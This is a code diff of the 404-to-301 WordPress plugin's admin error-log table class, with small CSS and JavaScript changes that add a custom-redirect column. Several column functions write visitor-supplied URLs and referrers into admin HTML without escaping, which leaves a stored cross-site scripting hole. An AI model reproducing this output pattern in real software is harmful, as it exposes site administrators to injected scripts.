@@ -26,11 +26,12 @@ if (!class_exists('WP_List_Table_404')) {
26
  * This class defines all the methods to output the error logs display table using
27
  * WordPress listing table class.
28
  *
29
- * @link https://thefoxe.com/products/404-to-301/
30
- * @since 2.0.0
31
  * @package I4T3
32
- * @subpackage I4T3/admin
33
  * @author Joel James <me@joelsays.com>
 
 
34
  */
35
  class _404_To_301_Logs extends WP_List_Table_404 {
36
 
@@ -47,19 +48,22 @@ class _404_To_301_Logs extends WP_List_Table_404 {
47
  /**
48
  * Initialize the class and set its properties.
49
  *
50
- * @since 2.0.0
51
- * @author Joel James.
52
- * @var string $table The name of the table of plugin.
 
 
53
  */
54
- public function __construct($table) {
55
 
56
- self::$table = $table;
57
 
58
- parent::__construct(array(
59
- 'singular' => __('404 Error Log', '404-to-301'), //singular name of the listed records
60
- 'plural' => __('404 Error Logs', '404-to-301'), //plural name of the listed records
61
- 'ajax' => false //does this table support ajax?
62
- )
 
63
  );
64
  }
65
 
@@ -69,14 +73,15 @@ class _404_To_301_Logs extends WP_List_Table_404 {
69
  * Getting the error log data from the database and converts it to
70
  * the required structure.
71
  *
72
- * @param int $per_page
73
- * @param int $page_number
74
  *
75
- * @since 2.0.0
76
- * @author Joel James.
77
- * @var $wpdb Global variable for db class.
78
- * @uses apply_filters i4t3_log_list_per_page Custom filter to modify per page view.
79
- * @return mixed $error_data Array of error log data.
 
80
  */
81
  public static function i4t3_get_log_data($per_page = 5, $page_number = 1) {
82
 
@@ -85,12 +90,12 @@ class _404_To_301_Logs extends WP_List_Table_404 {
85
  $offset = ( $page_number - 1 ) * $per_page;
86
 
87
  // If no sort, default to title
88
- $orderby = ( isset($_REQUEST['orderby']) ) ? self::i4t3_get_sort_column_filtered($_REQUEST['orderby']) : 'date';
89
 
90
  // If no order, default to asc
91
- $order = ( isset($_REQUEST['order']) && 'desc' == $_REQUEST['order'] ) ? 'DESC' : 'ASC';
92
 
93
- $result = $wpdb->get_results($wpdb->prepare("SELECT * FROM " . self::$table . " ORDER BY $orderby $order LIMIT %d OFFSET %d", array($per_page, $offset)), 'ARRAY_A');
94
 
95
  return $result;
96
  }
@@ -101,19 +106,20 @@ class _404_To_301_Logs extends WP_List_Table_404 {
101
  * This is used to filter the sorting parameters in order
102
  * to prevent SQL injection atacks. We will accept only our
103
  * required values. Else we will assign a default value.
 
 
104
  *
105
- * @since 2.0.3
106
- * @author Joel James.
107
- * @var $column Value from url.
108
- * @var $filtered_column Value aftet filtering.
109
- * @return string $filtered_column.
110
  */
111
  public static function i4t3_get_sort_column_filtered($column) {
112
 
113
- $allowed_columns = array('date', 'url', 'ref', 'ip');
114
 
115
- if (in_array($column, $allowed_columns)) {
116
- $filtered_column = esc_sql($column);
117
  } else {
118
  $filtered_column = 'date';
119
  }
@@ -126,16 +132,24 @@ class _404_To_301_Logs extends WP_List_Table_404 {
126
  *
127
  * This function is used to clear the selected errors
128
  * from error logs table.
 
 
129
  *
130
- * @since 2.1.0
131
- * @author Joel James.
132
- * @param int $id ID
 
133
  */
134
  public static function delete_error_logs($id) {
 
135
  global $wpdb;
136
 
137
  $wpdb->delete(
138
- self::$table, array('id' => $id), array('%d')
 
 
 
 
139
  );
140
  }
141
 
@@ -144,22 +158,25 @@ class _404_To_301_Logs extends WP_List_Table_404 {
144
  *
145
  * This function is used to clear the error logs table.
146
  *
147
- * @since 2.1.0
148
- * @author Joel James.
 
 
149
  */
150
  public static function delete_error_all_logs() {
151
 
152
  global $wpdb;
153
-
154
  $wpdb->query("DELETE FROM " . self::$table . "");
155
  }
156
 
157
  /**
158
  * Get the count of total records in table.
159
  *
160
- * @since 2.1.0
161
- * @author Joel James.
162
- * @return null|string
 
163
  */
164
  public static function record_count() {
165
 
@@ -176,12 +193,14 @@ class _404_To_301_Logs extends WP_List_Table_404 {
176
  * Custom text to display where there is nothing to display in error
177
  * log table.
178
  *
179
- * @since 2.0.0
180
- * @author Joel James.
181
- * @return void
 
182
  */
183
  public function no_items() {
184
- _e('Ulta pulta..! Seems like you had no errors to log.', '404-to-301');
 
185
  }
186
 
187
  /**
@@ -189,21 +208,28 @@ class _404_To_301_Logs extends WP_List_Table_404 {
189
  *
190
  * To show columns in error log list table. If there is nothing
191
  * for switch, printing the whole array.
192
- *
193
- * @since 2.0.0
194
- * @author Joel James.
195
- * @uses switch To switch between columns.
 
 
 
 
196
  */
197
- public function column_default($item, $column_name) {
198
- switch ($column_name) {
 
199
  case 'date':
200
  case 'url':
201
  case 'ref':
202
  case 'ip':
203
  case 'ua':
204
- return $item[$column_name];
 
205
  default:
206
- return print_r($item, true); //Show the whole array for troubleshooting purposes
 
207
  }
208
  }
209
 
@@ -212,14 +238,37 @@ class _404_To_301_Logs extends WP_List_Table_404 {
212
  *
213
  * This function is used to add new checkbox for all entries in
214
  * the listing table. We use this checkbox to perform bulk actions.
 
 
215
  *
216
- * @since 2.1.0
217
- * @author Joel James.
218
- * @return string Checkbox.
 
219
  */
220
- function column_cb($item) {
221
 
222
- return sprintf('<input type="checkbox" name="bulk-delete[]" value="%s"/>', $item['id']);
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
223
  }
224
 
225
  /**
@@ -228,16 +277,21 @@ class _404_To_301_Logs extends WP_List_Table_404 {
228
  * This function is used to modify the column data for date in listing table.
229
  * We can change styles, texts etc. using this function.
230
  *
231
- * @since 2.0.0
232
- * @author Joel James.
233
- * @return string $date_data Date column text data.
 
 
 
234
  */
235
- function column_date($item) {
236
 
237
  $delete_nonce = wp_create_nonce('i4t3_delete_log');
238
 
239
  $title = apply_filters('i4t3_log_list_date_column', date("j M Y, g:i a", strtotime($item['date'])));
 
240
  $confirm = __('Are you sure you want to delete this item?', '404-to-301');
 
241
  $actions = array(
242
  'delete' => sprintf('<a href="?page=%s&action=%s&log=%s&_wpnonce=%s" onclick="return confirm(\'%s\');">' . __('Delete', '404-to-301') . '</a>', esc_attr($_REQUEST['page']), 'delete', absint($item['id']), $delete_nonce, $confirm)
243
  );
@@ -250,15 +304,18 @@ class _404_To_301_Logs extends WP_List_Table_404 {
250
  *
251
  * This function is used to modify the column data for url in listing table.
252
  * We can change styles, texts etc. using this function.
 
 
253
  *
254
- * @since 2.0.0
255
- * @author Joel James.
256
- * @return string $url_data Url column text data.
 
257
  */
258
- public function column_url($item) {
259
 
260
  // Apply filter - i4t3_log_list_url_column
261
- $url_data = apply_filters('i4t3_log_list_url_column', $this->get_empty_text('<p class="i4t3-url-p">' . $item['url'] . '</p>', $item['url']));
262
 
263
  return $url_data;
264
  }
@@ -268,15 +325,18 @@ class _404_To_301_Logs extends WP_List_Table_404 {
268
  *
269
  * This function is used to modify the column data for ref in listing table.
270
  * We can change styles, texts etc. using this function.
 
 
271
  *
272
- * @since 2.0.0
273
- * @author Joel James.
274
- * @return string $ref_data Ref column text data.
 
275
  */
276
- public function column_ref($item) {
277
 
278
  // Apply filter - i4t3_log_list_ref_column
279
- $ref_data = apply_filters('i4t3_log_list_ref_column', $this->get_empty_text('<a href="' . $item['ref'] . '">' . $item['ref'] . '</a>', $item['ref']));
280
 
281
  return $ref_data;
282
  }
@@ -286,15 +346,18 @@ class _404_To_301_Logs extends WP_List_Table_404 {
286
  *
287
  * This function is used to modify the column data for user agent in listing table.
288
  * We can change styles, texts etc. using this function.
 
 
289
  *
290
- * @since 2.0.9.1
291
- * @author Joel James.
292
- * @return string $ua_data Ref column text data.
 
293
  */
294
  public function column_ua($item) {
295
 
296
  // Apply filter - i4t3_log_list_ref_column
297
- $ua_data = apply_filters('i4t3_log_list_ua_column', $this->get_empty_text($item['ua'], $item['ua']));
298
 
299
  return $ua_data;
300
  }
@@ -304,15 +367,18 @@ class _404_To_301_Logs extends WP_List_Table_404 {
304
  *
305
  * This function is used to modify the column data for ip in listing table.
306
  * We can change styles, texts etc. using this function.
 
 
307
  *
308
- * @since 2.0.9.1
309
- * @author Joel James.
310
- * @return string $ip Ref column text data.
 
311
  */
312
- public function column_ip($item) {
313
 
314
  // Apply filter - i4t3_log_list_ref_column
315
- $ip = apply_filters('i4t3_log_list_ip_column', $this->get_empty_text($item['ip'], $item['ip']));
316
 
317
  return $ip;
318
  }
@@ -322,19 +388,21 @@ class _404_To_301_Logs extends WP_List_Table_404 {
322
  *
323
  * Custom column titles to be displayed in listing table. You can change this to anything
324
  *
325
- * @since 2.0.0
326
- * @author Joel James.
327
- * @return array $columns Array of cloumn titles.
 
328
  */
329
  function get_columns() {
330
 
331
  $columns = array(
332
  'cb' => '<input type="checkbox" style="width: 5%;" />',
333
- 'date' => __('Date and Time', '404-to-301'),
334
- 'url' => __('404 Path', '404-to-301'),
335
- 'ref' => __('Came From', '404-to-301'), // referer
336
- 'ip' => __('IP Address', '404-to-301'),
337
- 'ua' => __('User Agent', '404-to-301')
 
338
  );
339
 
340
  return $columns;
@@ -346,9 +414,10 @@ class _404_To_301_Logs extends WP_List_Table_404 {
346
  * To make our custom columns in list table sortable. We have included
347
  * 4 columns except 'User Agent' column here.
348
  *
349
- * @since 2.0.0
350
- * @author Joel James.
351
- * @return array $sortable_columns Array of columns to enable sorting.
 
352
  */
353
  public function get_sortable_columns() {
354
 
@@ -368,16 +437,16 @@ class _404_To_301_Logs extends WP_List_Table_404 {
368
  * Options to be added to the bulk actions drop down for users
369
  * to select. We have added 'Delete' actions.
370
  *
371
- * @since 2.0.0
372
- * @modified 2.1.0
373
- * @author Joel James.
374
- * @return array $actions Options to be added to the action select box.
375
  */
376
  public function get_bulk_actions() {
377
 
378
  $actions = array(
379
- 'bulk-delete' => __('Delete Selected', '404-to-301'),
380
- 'bulk-all-delete' => __('Delete All', '404-to-301')
381
  );
382
 
383
  return $actions;
@@ -393,10 +462,12 @@ class _404_To_301_Logs extends WP_List_Table_404 {
393
  * Here we set pagination, columns, sorting etc.
394
  * $this->items - Push our custom log data to the listing table.
395
  *
396
- * @since 2.0.0
397
- * @author Joel James.
398
- * @uses $wpdb The global variable for WordPress database operations.
399
- * @uses hide_errors() To hide if there are SQL query errors.
 
 
400
  */
401
  public function prepare_items() {
402
 
@@ -405,16 +476,18 @@ class _404_To_301_Logs extends WP_List_Table_404 {
405
  /** Process bulk action */
406
  $this->process_bulk_action();
407
 
408
- $per_page = $this->get_items_per_page('logs_per_page', 5);
409
  $current_page = $this->get_pagenum();
410
  $total_items = self::record_count();
411
 
412
- $this->set_pagination_args(array(
413
- 'total_items' => $total_items, //WE have to calculate the total number of items
414
- 'per_page' => $per_page //WE have to determine how many items to show on a page
415
- ));
 
 
416
 
417
- $this->items = self::i4t3_get_log_data($per_page, $current_page);
418
  }
419
 
420
  /**
@@ -423,24 +496,25 @@ class _404_To_301_Logs extends WP_List_Table_404 {
423
  * This function is used to check if bulk action is set in post.
424
  * If set it will call the required functions to perform the task.
425
  *
426
- * @since 2.1.0
427
- * @author Joel James.
428
- * @uses wp_verify_nonce To verify if the request is from WordPress.
 
 
429
  */
430
  public function process_bulk_action() {
431
 
432
  //Detect when a bulk action is being triggered...
433
- if ('delete' === $this->current_action()) {
434
 
435
  // In our file that handles the request, verify the nonce.
436
- $nonce = esc_attr($_REQUEST['_wpnonce']);
437
 
438
- if (!wp_verify_nonce($nonce, 'i4t3_delete_log')) {
439
- wp_die('Go get a life script kiddies');
440
  } else {
441
-
442
- self::delete_error_logs(absint($_GET['log']));
443
- wp_redirect(esc_url(add_query_arg()));
444
  exit;
445
  }
446
  }
@@ -455,44 +529,41 @@ class _404_To_301_Logs extends WP_List_Table_404 {
455
  * actions. Selected data delete and whole data delete
456
  * is being performed here.
457
  *
458
- * @since 2.1.0
459
- * @author Joel James.
460
- * @uses wp_verify_nonce To verify if the request is from WordPress.
 
 
461
  */
462
- public function bulk_delete_actions() {
463
 
464
- if (isset($_POST['_wpnonce'])) {
465
 
466
  $nonce = '';
467
  $action = '';
468
  // security check!
469
- if (!empty($_POST['_wpnonce'])) {
470
-
471
- $nonce = filter_input(INPUT_POST, '_wpnonce', FILTER_SANITIZE_STRING);
472
  $action = 'bulk-' . $this->_args['plural'];
473
  }
474
 
475
- if (!wp_verify_nonce($nonce, $action)) {
476
- wp_die('Go get a life script kiddies');
477
  }
478
 
479
  // If the delete bulk action is triggered
480
- else if (( isset($_POST['action']) && $_POST['action'] == 'bulk-delete' ) || ( isset($_POST['action2']) && $_POST['action2'] == 'bulk-delete' )) {
481
-
482
  $delete_ids = esc_sql($_POST['bulk-delete']);
483
-
484
  // loop over the array of record IDs and delete them
485
- foreach ($delete_ids as $id) {
486
- self::delete_error_logs($id);
487
  }
488
-
489
- wp_redirect(esc_url(add_query_arg()));
490
  exit;
491
  }
492
 
493
  // If the delete all bulk action is triggered
494
- else if (( isset($_POST['action']) && $_POST['action'] == 'bulk-all-delete' ) || ( isset($_POST['action2']) && $_POST['action2'] == 'bulk-all-delete' )) {
495
-
496
  self::delete_error_all_logs();
497
  wp_redirect(esc_url(add_query_arg()));
498
  exit;
@@ -506,16 +577,17 @@ class _404_To_301_Logs extends WP_List_Table_404 {
506
  * This function is used to show the N/A text in red colour if the field value
507
  * is not available.
508
  *
509
- * @since 2.1.0
510
- * @author Joel James.
 
 
511
  */
512
- public function get_empty_text($data, $na = 'N/A') {
513
 
514
- if ($na == 'N/A') {
515
  return '<p class="i4t3-url-p">' . __('N/A', '404-to-301') . '</p>';
516
  }
517
 
518
  return $data;
519
  }
520
-
521
  }
13
  if (!class_exists('WP_List_Table_404')) {
14
 
15
  global $wp_version;
16
+ if( $wp_version >= 4.4 ) {
17
+ include_once I4T3_PLUGIN_DIR . '/admin/core/class-wp-list-table-4.4.php';
18
  } else {
19
+ include_once I4T3_PLUGIN_DIR . '/admin/core/class-wp-list-table-old.php';
20
  }
21
  }
22
 
26
  * This class defines all the methods to output the error logs display table using
27
  * WordPress listing table class.
28
  *
29
+ * @category Core
 
30
  * @package I4T3
31
+ * @subpackage ErrorLogsTable
32
  * @author Joel James <me@joelsays.com>
33
+ * @license http://www.gnu.org/licenses/ GNU General Public License
34
+ * @link https://thefoxe.com/products/404-to-301
35
  */
36
  class _404_To_301_Logs extends WP_List_Table_404 {
37
 
48
  /**
49
  * Initialize the class and set its properties.
50
  *
51
+ * @since 2.0.0
52
+ * @access public
53
+ * @var string $table The name of the table of plugin
54
+ *
55
+ * @return void
56
  */
57
+ public function __construct() {
58
 
59
+ self::$table = I4T3_TABLE;
60
 
61
+ parent::__construct(
62
+ array(
63
+ 'singular' => __('404 Error Log', '404-to-301'), //singular name of the listed records
64
+ 'plural' => __('404 Error Logs', '404-to-301'), //plural name of the listed records
65
+ 'ajax' => false //does this table support ajax?
66
+ )
67
  );
68
  }
69
 
73
  * Getting the error log data from the database and converts it to
74
  * the required structure.
75
  *
76
+ * @param int $per_page Items per page
77
+ * @param int $page_number Page number of the list
78
  *
79
+ * @since 2.0.0
80
+ * @access public
81
+ * @global object $wpdb WP DB object
82
+ * @uses apply_filters
83
+ *
84
+ * @return array $error_data Array of error log data.
85
  */
86
  public static function i4t3_get_log_data($per_page = 5, $page_number = 1) {
87
 
90
  $offset = ( $page_number - 1 ) * $per_page;
91
 
92
  // If no sort, default to title
93
+ $orderby = ( isset( $_REQUEST['orderby']) ) ? self::i4t3_get_sort_column_filtered( $_REQUEST['orderby']) : 'date';
94
 
95
  // If no order, default to asc
96
+ $order = ( isset( $_REQUEST['order']) && 'desc' == $_REQUEST['order'] ) ? 'DESC' : 'ASC';
97
 
98
+ $result = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM " . self::$table . " ORDER BY $orderby $order LIMIT %d OFFSET %d", array( $per_page, $offset ) ), 'ARRAY_A' );
99
 
100
  return $result;
101
  }
106
  * This is used to filter the sorting parameters in order
107
  * to prevent SQL injection atacks. We will accept only our
108
  * required values. Else we will assign a default value.
109
+ *
110
+ * @param string $column Value from url
111
  *
112
+ * @since 2.0.3
113
+ * @access public
114
+ *
115
+ * @return string $filtered_column.
 
116
  */
117
  public static function i4t3_get_sort_column_filtered($column) {
118
 
119
+ $allowed_columns = array( 'date', 'url', 'ref', 'ip' );
120
 
121
+ if( in_array($column, $allowed_columns ) ) {
122
+ $filtered_column = esc_sql( $column );
123
  } else {
124
  $filtered_column = 'date';
125
  }
132
  *
133
  * This function is used to clear the selected errors
134
  * from error logs table.
135
+ *
136
+ * @param int $id ID of error log
137
  *
138
+ * @since 2.1.0
139
+ * @access public
140
+ *
141
+ * @return void
142
  */
143
  public static function delete_error_logs($id) {
144
+
145
  global $wpdb;
146
 
147
  $wpdb->delete(
148
+ self::$table,
149
+ array(
150
+ 'id' => $id
151
+ ),
152
+ array('%d')
153
  );
154
  }
155
 
158
  *
159
  * This function is used to clear the error logs table.
160
  *
161
+ * @since 2.1.0
162
+ * @access public
163
+ *
164
+ * @return void
165
  */
166
  public static function delete_error_all_logs() {
167
 
168
  global $wpdb;
169
+ // delete from logs table
170
  $wpdb->query("DELETE FROM " . self::$table . "");
171
  }
172
 
173
  /**
174
  * Get the count of total records in table.
175
  *
176
+ * @since 2.1.0
177
+ * @access public
178
+ *
179
+ * @return mixed
180
  */
181
  public static function record_count() {
182
 
193
  * Custom text to display where there is nothing to display in error
194
  * log table.
195
  *
196
+ * @since 2.0.0
197
+ * @access public
198
+ *
199
+ * @return void
200
  */
201
  public function no_items() {
202
+
203
+ _e( 'Ulta pulta..! Seems like you had no errors to log.', '404-to-301' );
204
  }
205
 
206
  /**
208
  *
209
  * To show columns in error log list table. If there is nothing
210
  * for switch, printing the whole array.
211
+ *
212
+ * @param array $item Column data
213
+ * @param string $column_name Column name
214
+ *
215
+ * @since 2.0.0
216
+ * @access public
217
+ *
218
+ * @return array
219
  */
220
+ public function column_default( $item, $column_name ) {
221
+
222
+ switch( $column_name ) {
223
  case 'date':
224
  case 'url':
225
  case 'ref':
226
  case 'ip':
227
  case 'ua':
228
+ case 'redirect':
229
+ return $item[ $column_name ];
230
  default:
231
+ //Show the whole array for troubleshooting purposes
232
+ return print_r( $item, true );
233
  }
234
  }
235
 
238
  *
239
  * This function is used to add new checkbox for all entries in
240
  * the listing table. We use this checkbox to perform bulk actions.
241
+ *
242
+ * @param array $item Column data
243
  *
244
+ * @since 2.1.0
245
+ * @access public
246
+ *
247
+ * @return string
248
  */
249
+ function column_cb( $item ) {
250
 
251
+ return sprintf( '<input type="checkbox" name="bulk-delete[]" value="%s"/>', $item['id'] );
252
+ }
253
+
254
+ /**
255
+ * To output redirect option of the link.
256
+ *
257
+ * This function is used to add custom column for setting
258
+ * custom redirect for a 404 link.
259
+ *
260
+ * @param array $item Column data
261
+ *
262
+ * @since 2.1.1
263
+ * @access public
264
+ *
265
+ * @return string
266
+ */
267
+ function column_redirect( $item ) {
268
+
269
+ $title = ( ! empty( $item['redirect'] ) ) ? $item['redirect'] : __( 'Default', '404-to-301' );
270
+
271
+ return '<a href="javascript:void(0)" title="' . $title . '" class="i4t3_redirect_thickbox" url_404="' . $item['url'] . '">' . __('Update', '404-to-301') . '</a>';
272
  }
273
 
274
  /**
277
  * This function is used to modify the column data for date in listing table.
278
  * We can change styles, texts etc. using this function.
279
  *
280
+ * @param array $item Column data
281
+ *
282
+ * @since 2.0.0
283
+ * @access public
284
+ *
285
+ * @return string $date_data Date column text data.
286
  */
287
+ function column_date( $item ) {
288
 
289
  $delete_nonce = wp_create_nonce('i4t3_delete_log');
290
 
291
  $title = apply_filters('i4t3_log_list_date_column', date("j M Y, g:i a", strtotime($item['date'])));
292
+
293
  $confirm = __('Are you sure you want to delete this item?', '404-to-301');
294
+
295
  $actions = array(
296
  'delete' => sprintf('<a href="?page=%s&action=%s&log=%s&_wpnonce=%s" onclick="return confirm(\'%s\');">' . __('Delete', '404-to-301') . '</a>', esc_attr($_REQUEST['page']), 'delete', absint($item['id']), $delete_nonce, $confirm)
297
  );
304
  *
305
  * This function is used to modify the column data for url in listing table.
306
  * We can change styles, texts etc. using this function.
307
+ *
308
+ * @param array $item Column data
309
  *
310
+ * @since 2.0.0
311
+ * @access public
312
+ *
313
+ * @return string $url_data Url column text data.
314
  */
315
+ public function column_url( $item ) {
316
 
317
  // Apply filter - i4t3_log_list_url_column
318
+ $url_data = apply_filters( 'i4t3_log_list_url_column', $this->get_empty_text('<p class="i4t3-url-p">' . $item['url'] . '</p>', $item['url']));
319
 
320
  return $url_data;
321
  }
325
  *
326
  * This function is used to modify the column data for ref in listing table.
327
  * We can change styles, texts etc. using this function.
328
+ *
329
+ * @param array $item Column data
330
  *
331
+ * @since 2.0.0
332
+ * @access public
333
+ *
334
+ * @return string $ref_data Ref column text data.
335
  */
336
+ public function column_ref( $item ) {
337
 
338
  // Apply filter - i4t3_log_list_ref_column
339
+ $ref_data = apply_filters( 'i4t3_log_list_ref_column', $this->get_empty_text('<a href="' . $item['ref'] . '">' . $item['ref'] . '</a>', $item['ref'] ) );
340
 
341
  return $ref_data;
342
  }
346
  *
347
  * This function is used to modify the column data for user agent in listing table.
348
  * We can change styles, texts etc. using this function.
349
+ *
350
+ * @param array $item Column data
351
  *
352
+ * @since 2.0.9
353
+ * @access public
354
+ *
355
+ * @return string $ua_data Ref column text data.
356
  */
357
  public function column_ua($item) {
358
 
359
  // Apply filter - i4t3_log_list_ref_column
360
+ $ua_data = apply_filters( 'i4t3_log_list_ua_column', $this->get_empty_text( $item['ua'], $item['ua'] ) );
361
 
362
  return $ua_data;
363
  }
367
  *
368
  * This function is used to modify the column data for ip in listing table.
369
  * We can change styles, texts etc. using this function.
370
+ *
371
+ * @param array $item Column data
372
  *
373
+ * @since 2.0.9
374
+ * @access public
375
+ *
376
+ * @return string $ip Ref column text data.
377
  */
378
+ public function column_ip( $item ) {
379
 
380
  // Apply filter - i4t3_log_list_ref_column
381
+ $ip = apply_filters( 'i4t3_log_list_ip_column', $this->get_empty_text( $item['ip'], $item['ip'] ) );
382
 
383
  return $ip;
384
  }
388
  *
389
  * Custom column titles to be displayed in listing table. You can change this to anything
390
  *
391
+ * @since 2.0.0
392
+ * @access public
393
+ *
394
+ * @return array $columns Array of cloumn titles.
395
  */
396
  function get_columns() {
397
 
398
  $columns = array(
399
  'cb' => '<input type="checkbox" style="width: 5%;" />',
400
+ 'date' => __( 'When', '404-to-301' ),
401
+ 'url' => __( '404 Path', '404-to-301' ),
402
+ 'ref' => __( 'Came From', '404-to-301' ), // referer
403
+ 'ip' => __( 'IP Address', '404-to-301' ),
404
+ 'ua' => __('User Agent', '404-to-301'),
405
+ 'redirect' => __( 'Custom Redirect', '404-to-301' )
406
  );
407
 
408
  return $columns;
414
  * To make our custom columns in list table sortable. We have included
415
  * 4 columns except 'User Agent' column here.
416
  *
417
+ * @since 2.0.0
418
+ * @access public
419
+ *
420
+ * @return array $sortable_columns Array of columns to enable sorting.
421
  */
422
  public function get_sortable_columns() {
423
 
437
  * Options to be added to the bulk actions drop down for users
438
  * to select. We have added 'Delete' actions.
439
  *
440
+ * @since 2.0.0
441
+ * @access public
442
+ *
443
+ * @return array $actions Options to be added to the action select box.
444
  */
445
  public function get_bulk_actions() {
446
 
447
  $actions = array(
448
+ 'bulk-delete' => __( 'Delete Selected', '404-to-301' ),
449
+ 'bulk-all-delete' => __( 'Delete All', '404-to-301' )
450
  );
451
 
452
  return $actions;
462
  * Here we set pagination, columns, sorting etc.
463
  * $this->items - Push our custom log data to the listing table.
464
  *
465
+ * @global object $wpdb WP DB object
466
+ * @since 2.0.0
467
+ * @access public
468
+ * @uses hide_errors() To hide if there are SQL query errors.
469
+ *
470
+ * @return void
471
  */
472
  public function prepare_items() {
473
 
476
  /** Process bulk action */
477
  $this->process_bulk_action();
478
 
479
+ $per_page = $this->get_items_per_page( 'logs_per_page', 5 );
480
  $current_page = $this->get_pagenum();
481
  $total_items = self::record_count();
482
 
483
+ $this->set_pagination_args(
484
+ array(
485
+ 'total_items' => $total_items, //WE have to calculate the total number of items
486
+ 'per_page' => $per_page //WE have to determine how many items to show on a page
487
+ )
488
+ );
489
 
490
+ $this->items = self::i4t3_get_log_data( $per_page, $current_page );
491
  }
492
 
493
  /**
496
  * This function is used to check if bulk action is set in post.
497
  * If set it will call the required functions to perform the task.
498
  *
499
+ * @since 2.1.0
500
+ * @access public
501
+ * @uses wp_verify_nonce To verify if the request is from WordPress.
502
+ *
503
+ * @return void
504
  */
505
  public function process_bulk_action() {
506
 
507
  //Detect when a bulk action is being triggered...
508
+ if ( 'delete' === $this->current_action() ) {
509
 
510
  // In our file that handles the request, verify the nonce.
511
+ $nonce = esc_attr( $_REQUEST['_wpnonce'] );
512
 
513
+ if( ! wp_verify_nonce( $nonce, 'i4t3_delete_log' ) ) {
514
+ wp_die( 'Go get a life script kiddies' );
515
  } else {
516
+ self::delete_error_logs( absint( $_GET['log'] ) );
517
+ wp_redirect( esc_url( add_query_arg() ) );
 
518
  exit;
519
  }
520
  }
529
  * actions. Selected data delete and whole data delete
530
  * is being performed here.
531
  *
532
+ * @since 2.1.0
533
+ * @access public
534
+ * @uses wp_verify_nonce To verify if the request is from WordPress.
535
+ *
536
+ * @return void
537
  */
538
+ private function bulk_delete_actions() {
539
 
540
+ if( isset($_POST['_wpnonce'] ) ) {
541
 
542
  $nonce = '';
543
  $action = '';
544
  // security check!
545
+ if ( ! empty( $_POST['_wpnonce'] ) ) {
546
+ $nonce = filter_input( INPUT_POST, '_wpnonce', FILTER_SANITIZE_STRING );
 
547
  $action = 'bulk-' . $this->_args['plural'];
548
  }
549
 
550
+ if ( ! wp_verify_nonce( $nonce, $action ) ) {
551
+ wp_die( 'Go get a life script kiddies' );
552
  }
553
 
554
  // If the delete bulk action is triggered
555
+ else if ( ( isset( $_POST['action']) && $_POST['action'] == 'bulk-delete' ) || ( isset($_POST['action2']) && $_POST['action2'] == 'bulk-delete' ) ) {
 
556
  $delete_ids = esc_sql($_POST['bulk-delete']);
 
557
  // loop over the array of record IDs and delete them
558
+ foreach( $delete_ids as $id ) {
559
+ self::delete_error_logs( $id );
560
  }
561
+ wp_redirect( esc_url( add_query_arg() ) );
 
562
  exit;
563
  }
564
 
565
  // If the delete all bulk action is triggered
566
+ elseif( ( isset( $_POST['action'] ) && $_POST['action'] == 'bulk-all-delete' ) || ( isset( $_POST['action2']) && $_POST['action2'] == 'bulk-all-delete' ) ) {
 
567
  self::delete_error_all_logs();
568
  wp_redirect(esc_url(add_query_arg()));
569
  exit;
577
  * This function is used to show the N/A text in red colour if the field value
578
  * is not available.
579
  *
580
+ * @since 2.1.0
581
+ * @access public
582
+ *
583
+ * @return string
584
  */
585
+ public function get_empty_text( $data, $na = 'N/A' ) {
586
 
587
+ if ( $na == 'N/A' ) {
588
  return '<p class="i4t3-url-p">' . __('N/A', '404-to-301') . '</p>';
589
  }
590
 
591
  return $data;
592
  }
 
593
  }
admin/css/min/admin.css CHANGED
@@ -2,7 +2,6 @@
2
  * All of the CSS for your admin-specific functionality should be
3
  * included in this file.
4
  */
5
-
6
  /* Utils */
7
  .c4p-center {
8
  text-align: center;
@@ -29,13 +28,8 @@
29
  clear: both;
30
  }
31
  /* Notices */
32
-
33
- .updated, .error {
34
- margin: 15px 0 20px !important;
35
- }
36
-
37
  .i4t3-author-link { text-decoration: none; }
38
-
39
  .c4p-update-nag {
40
  padding: 0px 15px;
41
  width: 96%;
@@ -43,9 +37,13 @@
43
  }
44
  /* Stats Section */
45
  /* .wp-list-table .column-id { width: 5%; } */
46
- .wp-list-table .column-date { width: 15%; }
47
  .wp-list-table .column-url { width: 25%; }
48
  .wp-list-table .column-ref { width: 20%; }
49
  .wp-list-table .column-ip { width: 15%;}
50
- .wp-list-table .column-ua { width: 25%;}
51
- .i4t3-url-p { color:red !important; }
 
 
 
 
2
  * All of the CSS for your admin-specific functionality should be
3
  * included in this file.
4
  */
 
5
  /* Utils */
6
  .c4p-center {
7
  text-align: center;
28
  clear: both;
29
  }
30
  /* Notices */
31
+ .updated, .error { margin: 15px 0 20px !important; }
 
 
 
 
32
  .i4t3-author-link { text-decoration: none; }
 
33
  .c4p-update-nag {
34
  padding: 0px 15px;
35
  width: 96%;
37
  }
38
  /* Stats Section */
39
  /* .wp-list-table .column-id { width: 5%; } */
40
+ .wp-list-table .column-date { width: 10%; }
41
  .wp-list-table .column-url { width: 25%; }
42
  .wp-list-table .column-ref { width: 20%; }
43
  .wp-list-table .column-ip { width: 15%;}
44
+ .wp-list-table .column-ua { width: 15%;}
45
+ .wp-list-table .column-ua { width: 15%;}
46
+ .i4t3-url-p { color:#E53531 !important; }
47
+ .i4t3-green { color: #006400 !important; }
48
+ .i4t3-fixed-height{ height: 120px; margin-bottom: 20px; overflow: auto; padding: 0 20px 0 0; }
49
+ .i4t3-notice { padding: 10px; }
admin/js/admin.js CHANGED
@@ -37,6 +37,39 @@
37
  $('#custom_page').hide();
38
  $('#custom_url').hide();
39
  }
40
- })
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
41
  })
42
  })(jQuery);
37
  $('#custom_page').hide();
38
  $('#custom_url').hide();
39
  }
40
+ });
41
+ // open custom redirect form modal
42
+ $('.i4t3_redirect_thickbox').on('click', function() {
43
+ var data = {
44
+ 'action': 'i4t3_redirect_thickbox',
45
+ 'url_404': $(this).attr('url_404')
46
+ };
47
+
48
+ // since 2.8 ajaxurl is always defined in the admin header and points to admin-ajax.php
49
+ $.post(ajaxurl, data, function(response) {
50
+ tb_show("Redirect","#TB_inline?width=700&height=300&inlineId=i4t3-redirect-modal");
51
+ $('#i4t3_redirect_404').val(response.url_404);
52
+ $('#i4t3_redirect_404_text').html(response.url_404);
53
+ $('#i4t3_redirect_url').val(response.url);
54
+ });
55
+ });
56
+ // save custom redirect value
57
+ $('#i4t3_custom_redirect_submit').on('click', function() {
58
